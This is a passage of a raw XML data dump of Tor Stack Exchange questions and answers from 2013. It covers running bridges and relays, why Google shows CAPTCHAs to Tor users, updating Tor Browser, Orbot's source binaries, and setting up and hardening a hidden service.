href=&quot;https://www.youtube.com/watch?v=7G1LjQSYM5Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;How Tor Users Got Caught&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=TQ2bk9kMneI&quot; rel=&quot;nofollow noreferrer&quot;&gt;How Tor Users Got Caught Part 2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Meta.SE disscusion titled, &lt;a href=&quot;https://meta.stackexchange.com/q/199353/190311&quot;&gt;Did the Stack Exchange staff members assist in the apprehension of Ross Ulbricht?&lt;/a&gt; That may be an interesting read. DPR's question on SO now has a Staff Note above it, &lt;a href=&quot;https://stackoverflow.com/q/15445285/985284&quot;&gt;How can I connect to a Tor hidden service using curl in php?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-08-18T02:07:07.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="5" CreationDate="2013-10-03T11:14:53.840" Score="0" Body="&lt;p&gt;Tor directory servers maintain metadata about public nodes in the Tor network (fingerprint, operator contact info if provided, last seen times, etc.), and bridge directories maintain lists of bridges that have informed the directory of their existence. They are used when bootstrapping connections to the Tor network.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-03T13:23:44.340" LastActivityDate="2013-10-03T13:23:44.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="4" CreationDate="2013-10-03T11:14:53.840" Score="0" Body="Questions relating to Tor directory servers and bridge directories" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-03T13:23:41.637" LastActivityDate="2013-10-03T13:23:41.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="2" ParentId="218" CreationDate="2013-10-03T13:50:03.247" Score="3" Body="&lt;p&gt;At the moment, if you have to use a HTTP proxy server and that proxy server doesn't support the CONNECT method then you are out of luck. There are plans to build a pluggable transport which carries TLS over HTTP, but there are a number of challenges, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to spread a single TLS connection over multiple HTTP connections so as to behave like a browser&lt;/li&gt;&#xA;&lt;li&gt;How to make sure that the proxy server doesn't interfere with traffic by caching requests or truncating responses&lt;/li&gt;&#xA;&lt;li&gt;How to manage congestion without having a single TCP connection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a outline of some of these topics in a &lt;a href=&quot;https://github.com/sjmurdoch/http-transport/blob/master/design.md&quot; rel=&quot;nofollow&quot;&gt;design document&lt;/a&gt; but at the moment there is no complete implemenation. Contributions are welcome though!&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-03T13:50:03.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="2" ParentId="113" CreationDate="2013-10-03T14:00:32.270" Score="6" Body="&lt;p&gt;The other answers give an overview of what happens, but if you want to learn the consequences of the path selection algorithm you need to have a simulation based on real data. Fortunately there now is one – &lt;a href=&quot;https://github.com/torps/torps&quot; rel=&quot;noreferrer&quot;&gt;TorPS&lt;/a&gt; which was written for the paper &lt;a href=&quot;http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf&quot; rel=&quot;noreferrer&quot;&gt;&quot;Users Get Routed: Traffic Correlation on Tor by Realistic Adversaries&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-03T14:00:32.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostTypeId="2" ParentId="213" CreationDate="2013-10-03T14:06:12.013" Score="9" Body="&lt;p&gt;To add to the other reasons of why this is a bad idea, there are also legal issues with monitoring or modifying traffic going through your exit node.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor legal FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Should I snoop on the plaintext traffic that exits through my Tor relay?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;No. You may be technically capable of modifying the Tor source code or installing additional software to monitor or log plaintext that exits your relay. However, Tor relay operators in the United States can possibly create civil and even criminal liability for themselves under state or federal wiretap laws if they monitor, log, or disclose Tor users' communications, while non-U.S. operators may be subject to similar laws. Do not examine the contents of anyone's communications without first talking to a lawyer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also, malware researchers do use Tor to monitor malicious websites. If you remove malware you will be interfering with this research.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-03T14:06:12.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="1" AcceptedAnswerId="411" CreationDate="2013-10-03T14:21:45.053" Score="4" ViewCount="373" Body="&lt;p&gt;Recently I started to run a bridge on some dedicated machine. Even it is used a bit the machine has a very low load and I was thinking about placing two or more bridges on it. Is this possible and recommended? Can you provide some insights about the best way to do it (run them on different ports, use LXC or another virtualisation technology etc.)?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-08T13:14:09.553" Title="How can I run more than one bridge on a computer?" Tags="|bridge|virtualisation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="309" PostTypeId="1" AcceptedAnswerId="311" CreationDate="2013-10-03T14:48:37.670" Score="5" ViewCount="156" Body="&lt;p&gt;It's probably not difficult to extract Tor encryption keys from storage or memory on virtual hardware like &lt;a href=&quot;http://aws.amazon.com/ec2/&quot; rel=&quot;nofollow&quot;&gt;EC2&lt;/a&gt; instances. Similar issues likely exist for rented physical servers with management access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make running Tor Cloud bridges less advisable than running a bridge or relay on your own hardware?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="159" LastEditDate="2013-10-03T19:22:18.127" LastActivityDate="2013-10-03T19:22:18.127" Title="Are virtual servers like Tor Cloud less advisable?" Tags="|security|tor-cloud|ec2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostTypeId="2" ParentId="290" CreationDate="2013-10-03T14:53:33.507" Score="3" Body="&lt;p&gt;Yes, you could do that. There are probably multiple ways to do this, but the first that comes to mind is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Run a hidden service that is a reverse proxy to the machine that runs the Apache instance. This machine should accept only connections from the tor network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the other machine, the one that runs the Apache instance, can accept connections only from the reverse proxy. One way to do this is to run Apache on a virtualized host, and firewall it from outside the virtual machine. You can use a VPN for the communication between the two machines.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="224" LastActivityDate="2013-10-03T14:53:33.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="2" ParentId="309" CreationDate="2013-10-03T14:55:28.893" Score="6" Body="&lt;p&gt;Yes, in a sense they are less secure since it's probably trivial, given sufficient access, to copy the system.  Real hardware requires physical access and is, perhaps, easier to detect: an extended and/or unexplained downtime would probably be noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, diversity is very important for the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if the choice is between a bridge or relay on a virtual/cloud service on the one hand and no relay on the other hand, I'd argue that having the relay wins.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-03T14:55:28.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="2" ParentId="308" CreationDate="2013-10-03T14:58:50.457" Score="4" Body="&lt;p&gt;If you only have a single address, then the answer  probably depends on how bridges are blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the adversary blocks entire hosts because they find a bridge on it, then running more on the same IP address provides little advantage.  If, however, they only block the specific address:port combination, then more are better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if we have any data on what blockers do, but my guess is that it's the former.  As such, running more bridges on the same address probably doesn't help much or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have lots of addresses, then by all means, run bridges on all of them.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-03T14:58:50.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="1" AcceptedAnswerId="315" CreationDate="2013-10-03T18:43:40.417" Score="39" ViewCount="61081" Body="&lt;p&gt;Whenever I search something through Google using Tor Browser, it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Either shows me the Google Sorry page and doesn't allow me to proceed further:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSn3g.png&quot; alt=&quot;Google Sorry page&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or asks me to enter the CAPTCHA to view the search results:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rBqAi.png&quot; alt=&quot;CAPTCHA form&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Either of the above two happens with every Google Search. It doesn't ever let me take to search results normally when using Tor Browser. (This doesn't happen when I am not using Tor).&lt;/p&gt;&#xA;&lt;p&gt;So, does Google already know that I am using the Tor Browser? Should I do something at my end.&lt;/p&gt;&#xA;" OwnerUserId="231" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-03-10T10:26:47.863" Title="Does Google know that I am using Tor Browser?" Tags="|tor-browser-bundle|anonymity|google|" AnswerCount="4" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="2" ParentId="313" CreationDate="2013-10-03T18:47:04.897" Score="15" Body="&lt;p&gt;It is easy for any website owner to know you are using Tor because the list of Tor exit nodes is publicly available. Google has said they are not specifically targeting Tor users by making them solve captchas. Rather it is because each exit node sends so much traffic to Google that the traffic patterns seem similar to those of a bot, which would also send a lot of traffic to Google at once. See also: &lt;a href=&quot;https://www.torproject.org/docs/faq.html#GoogleCAPTCHA&quot;&gt;https://www.torproject.org/docs/faq.html#GoogleCAPTCHA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-03T18:47:04.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostTypeId="2" ParentId="313" CreationDate="2013-10-03T18:55:58.993" Score="32" Body="&lt;p&gt;In this case, Google is not interested in the fact that you are using Tor. Google runs some analysis on search queries and they sometimes produce this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background is that Google has to deal with all sorts of abuse; for example, some people send lots of queries in a short timespan to overload the servers. Google checks for this and presents the warning in your question. This can happen when you use Tor, but also when your company uses a central proxy and when lots of users Google at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, many Tor users probably used the exit to send a search query to Google. Their algorithms flagged that as suspicious, and so you get this message. In the second case, you have the chance to present yourself as a human (solving the captcha) and Google will process your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally this behaviour changes when your Tor circuit changes. I don't see this very often. However, you can also use an alternative search engine like &lt;a href=&quot;http://www.bing.com/&quot;&gt;Bing&lt;/a&gt; or &lt;a href=&quot;https://duckduckgo.com/&quot;&gt;DuckDuckGo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="33" LastEditDate="2013-10-04T06:04:25.723" LastActivityDate="2013-10-04T06:04:25.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="2" ParentId="266" CreationDate="2013-10-03T19:04:17.890" Score="2" Body="&lt;p&gt;The biggest provider of free, tor-friendly anonymous was Freedom Hosting, but it has been closed by police so you have to look for alternatives. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My results of googling, which may be relevant for you :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hacker10.com/tag/anonymous-webhosting/&quot; rel=&quot;nofollow&quot;&gt;http://www.hacker10.com/tag/anonymous-webhosting/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.privacy-toolz.com/anonymous-web-hosting.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.privacy-toolz.com/anonymous-web-hosting.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Hidden_Services&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Hidden_Services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-10-03T19:04:17.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="2" ParentId="266" CreationDate="2013-10-03T19:21:14.363" Score="7" Body="&lt;p&gt;The Tor community maintains a list of ISPs that have worked for others in the past along with some comments of people's experiencs working with each service. That list is here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin wiki maintains a list of VPS providers that accept payment in Bticoin. This does not mean that they are necessarily anonymous. &lt;a href=&quot;https://en.bitcoin.it/wiki/Virtual_private_server&quot;&gt;https://en.bitcoin.it/wiki/Virtual_private_server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-03T19:21:14.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="1" AcceptedAnswerId="320" CreationDate="2013-10-03T20:07:48.243" Score="17" ViewCount="4439" Body="&lt;p&gt;Usually I install software by using the relevant Debian packages from either Debian directly or through third party repositories like Tor's &lt;a href=&quot;http://deb.torproject.org&quot;&gt;deb.torproject.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, at this time the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;Tor Browser Bundle&lt;/a&gt; is only available as a tarball download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do people do to keep current other than manually updating things whenever the Tor Browser reports it's out of date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Feel free to also share your answer if it works only for Windows or OS X.)&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2020-03-11T21:07:17.143" Title="How do I keep my Tor Browser Bundle current?" Tags="|tor-browser-bundle|update|packages|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="2" ParentId="318" CreationDate="2013-10-03T20:20:25.513" Score="6" Body="&lt;p&gt;Development work for an autoupdate function within the Tor Browser Bundle is ongoing. The solution we give out to people right now involves following the link in the Tor Browser's Onion menu to &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;, downloading the package, verifying the signature, then closing the Tor Browser, deleting your Tor Browser folder, and unpacking the Tor Browser again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since overwriting one's old Tor Browser folder often (but not always) causes weird breakages, we don't recommend doing that. Admittedly, the method just described confuses a number of people who click the link in the Onion menu to download the new Tor Browser Bundle, then get transferred to the download page and aren't sure what to do from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, updating &quot;manually&quot; is currently the only way of updating effectively.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-03T20:20:25.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="2" ParentId="318" CreationDate="2013-10-03T21:20:01.300" Score="7" Body="&lt;p&gt;For the time being the &quot;manual&quot; way is the officially proposed by the Tor Project and &lt;em&gt;that's most users should follow&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the Tor Project is &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-August/005228.html&quot; rel=&quot;nofollow&quot;&gt;examining&lt;/a&gt; various Firefox-like updater options which may integrate to Tor Browser sooner or later &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless the procedure could be automated in other ways too and that is what &lt;a href=&quot;https://micahflee.com&quot; rel=&quot;nofollow&quot;&gt;Micah F Lee&lt;/a&gt; tries to accomplish with the &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow&quot;&gt;tor-browser-launcher&lt;/a&gt;. Tor-browser-launcher could be distributed by user's Linux system, but unfortunately the feature request bug for Debian still &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=705177&quot; rel=&quot;nofollow&quot;&gt;remains open&lt;/a&gt;. As soon as tor-browser-launcher or some equivalent finds its way to most systems and is easy to install then probably will be the best option to maintain an up-to-date Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="58" LastEditDate="2013-10-17T16:04:00.433" LastActivityDate="2013-10-17T16:04:00.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostTypeId="2" ParentId="64" CreationDate="2013-10-03T22:16:31.177" Score="11" Body="&lt;p&gt;As Roger and pabouk have said, just don't do it. It would hog too much of Tor's bandwidth, and probably for something that doesn't require that much anonymity. Just use a VPN, or (if it really matters) two or three chained/nested VPNs. It's easy to chain two VPNs with just one Linux VM (one in the host, and another in the VM). With good ISP speeds and good VPN services, you can get 10-20 Mbps each way!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, even if you totally block leaks (for example, by routing a TCP-based VPN tunnel through Tor) your traffic signal will stand out very clearly. It's like a snake eating a pig ;) Finally, it will be far too slow to be workable, even without specific throttling (which Tor really needs, by the way).&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-03T22:16:31.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostTypeId="2" ParentId="313" CreationDate="2013-10-03T22:33:47.280" Score="5" Body="&lt;p&gt;Google does not let Tor users search without a CAPTCHA. Fortunatelly, there are some alternative search engines, which are more primittive on this topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow&quot;&gt;DuckDuckGo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://yahoo.com&quot; rel=&quot;nofollow&quot;&gt;Yahoo.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bing.com&quot; rel=&quot;nofollow&quot;&gt;Bing.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Search engines with compact front pages are more convenient through Tor because they load faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From the TOR FAQ:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google makes me solve a CAPTCHA or tells me I have spyware installed.&#xA;This is a known and intermittent problem; it does not mean that Google considers Tor to be spyware.&lt;/p&gt;&#xA;" OwnerUserId="236" LastEditorUserId="350" LastEditDate="2015-11-05T17:01:36.397" LastActivityDate="2015-11-05T17:01:36.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="323" PostTypeId="2" ParentId="58" CreationDate="2013-10-04T01:09:13.780" Score="10" Body="&lt;p&gt;It's prudent to use open-source software, given the greater risk of backdoors in closed-source products. You want to thoroughly lock down remote access to the server. In my experience, servers are constantly hammered by login attempts. It's crucial to disable password-based ssh logins, allowing only key-based logins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also seen thttpd recommended for hidden services, because it has a smaller attack surface. Unless you have good reason, and really know mysql and php, it's best to serve only static html. Vulnerabilities there are your major risk after securing login. Static html is also faster over Tor, because there's less back-and-forth in loading the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As David notes, it's best to run Tor and the service in separate machines, or at least in separate VMs. If you're using one machine, you want Tor on the host and the service in the VM, given the greater risk that the service will get hacked and try to take down the Tor client, rather than vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the bigger question is where to site these machines. I have pondered this question for years. First, consider that, if someone wants to create a hidden service, it's reasonable to assume that they want it well &quot;hidden&quot;. It's also reasonable to assume that the operator wants to remain anonymous, not linked to the hidden service. If OP doesn't care about those issues, I have no clue why they want to run a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding location, there are some seemingly contradictory requirements. For obvious reasons, it's imprudent to operate from one's home or place of business. However, it's also crucial to control physical access. Otherwise, it's impossible to rely on security practices such as full-disk encryption. Hardware can be hardened, of course, and one can use Mandos to protect against tinkering. But ultimately, physical access trumps everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Controlling physical access to hosted servers is logistically difficult, especially when one wishes to remain anonymous. It's also very expensive. And then there's the need to trust ones partners and staff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround is using diskless servers as reverse proxies for actual content servers. However, it's still necessary to securely host the content servers. So that's not a real (or at least full) solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps that's why Freedom Hosting was so popular. Users figured that they must have some special knowledge. However, in retrospect, it's pretty clear that neither Freedom Hosting nor the Silk Road were very well secured.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-04T01:09:13.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostTypeId="2" ParentId="313" CreationDate="2013-10-04T01:17:37.687" Score="17" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So, does Google already know that I am using the Tor Browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Google (and any other website) has the ability to know that you are a Tor user because the list of Tor exit relays is public.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Google (and any other website) has the ability to know that you are using Tor Browser because of it's browser fingerprint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I do something at my end.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Nothing to worry about because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's automated abuse prevention systems only &quot;think&quot; it's better to prevent access in this case. (Those abuse prevention systems probably do neither make of use ability 1. or 2.) This is because, too many people are sharing the same Tor exit relay and the abuse prevention systems &quot;think&quot; it is automated access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either use Tor Browser's new identity feature and check if that helps or use another search engine.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-03-10T10:26:47.863" LastActivityDate="2020-03-10T10:26:47.863" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="325" PostTypeId="1" CreationDate="2013-10-04T02:28:38.390" Score="4" ViewCount="330" Body="&lt;p&gt;According to &lt;a href=&quot;https://dev.guardianproject.info/issues/1735&quot; rel=&quot;nofollow&quot;&gt;a ticket&lt;/a&gt; in your bug tracker, the source code for &lt;a href=&quot;https://www.torproject.org/docs/android.html.en&quot; rel=&quot;nofollow&quot;&gt;Orbot&lt;/a&gt; contains binary files for iptables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, this sounds like Orbot is built off of some closed-source code. How then could this portion be scrutinized? Should we be worried about this?&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2013-10-04T18:45:35.350" LastActivityDate="2013-10-04T18:49:38.437" Title="Why does orbot's source code contain binary files for iptables?" Tags="|source-code|orbot|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="326" PostTypeId="2" ParentId="325" CreationDate="2013-10-04T05:47:20.077" Score="4" Body="&lt;p&gt;Seems like the binaries got removed from the current development tree with &lt;a href=&quot;https://gitweb.torproject.org/orbot.git/commit/9d6f3c836b5c81c2565ff5744955129fc370a5ed&quot; rel=&quot;nofollow&quot;&gt;git commit 9d6f3c8&lt;/a&gt; in August 2013 as they were apperently &quot;unneeded old&quot;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-04T18:49:38.437" LastActivityDate="2013-10-04T18:49:38.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="327" PostTypeId="1" AcceptedAnswerId="344" CreationDate="2013-10-04T12:38:55.187" Score="22" ViewCount="15990" Body="&lt;p&gt;Suppose I have a Linux machine (for example Debian) with more than one public IPs, sufficient bandwidth, memory and CPU resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How may I run more than one Tor relay instance in that single machine? Should there be different users that start every instance? How about the different &lt;code&gt;torrc&lt;/code&gt; configuration files? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally are there any implications from running two or more relays in a single machine ?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="71" LastEditDate="2013-12-25T15:48:01.323" LastActivityDate="2023-09-30T18:52:40.400" Title="How may I run multiple Tor relay instances in a single Linux machine?" Tags="|relays|linux|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="328" PostTypeId="2" ParentId="327" CreationDate="2013-10-04T12:51:50.690" Score="7" Body="&lt;p&gt;Multiple Tor instances are useful whenever a single one doesn't manage to fill the available bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try running one single instance first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple instances use separate &lt;code&gt;torrc&lt;/code&gt; files by using the &lt;code&gt;-f&lt;/code&gt; option.&#xA;The preferred way to do this may depend on what distribution you are running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding Debian (for which I'm no expert), a cursory glance at &lt;code&gt;/etc/init.d/tor&lt;/code&gt; reveals there is no specific support.&#xA;I would copy this script to get &lt;code&gt;tor1&lt;/code&gt; ... &lt;code&gt;torN&lt;/code&gt; (as many as instances) and edit them to specify different config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you may use a custom defaults file for common configuration (e.g. family).&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-10-04T13:04:11.580" LastActivityDate="2013-10-04T13:04:11.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="329" PostTypeId="1" CreationDate="2013-10-04T13:58:04.077" Score="20" ViewCount="17847" Body="&lt;p&gt;Seeing that I find the technical side of it extremely interesting, I want to try to set up a Tor hidden service. For this I am following &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Torproject instructions&lt;/a&gt;. I installed Tor, have it running, installed a LAMP server, and then edited the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file with the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/hubbtwea/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restarting &lt;code&gt;tor&lt;/code&gt; (with &lt;code&gt;sudo /etc/init.d/tor_restart&lt;/code&gt;) should then create the folder &lt;code&gt;/home/hubbtwea/hidden_service/&lt;/code&gt; with two files in it. Restarting goes fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Stopping tor daemon...               [ OK ]&#xA; * Starting tor daemon...               [ OK ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but afterwards, there is no folder created in my home dir. I then try to restart Tor again (with the same command) and then it says the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Stopping tor daemon...               [fail]&#xA; * Starting tor daemon...               [ OK ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to be able to start, but not to stop (I wouldn't know why), and there is still no &lt;code&gt;hidden_service&lt;/code&gt; folder created in my home folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what I could be doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorUserId="11901" LastEditDate="2017-11-01T13:45:37.277" LastActivityDate="2017-11-01T13:45:37.277" Title="How to set up a Tor hidden service?" Tags="|onion-services|ubuntu|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
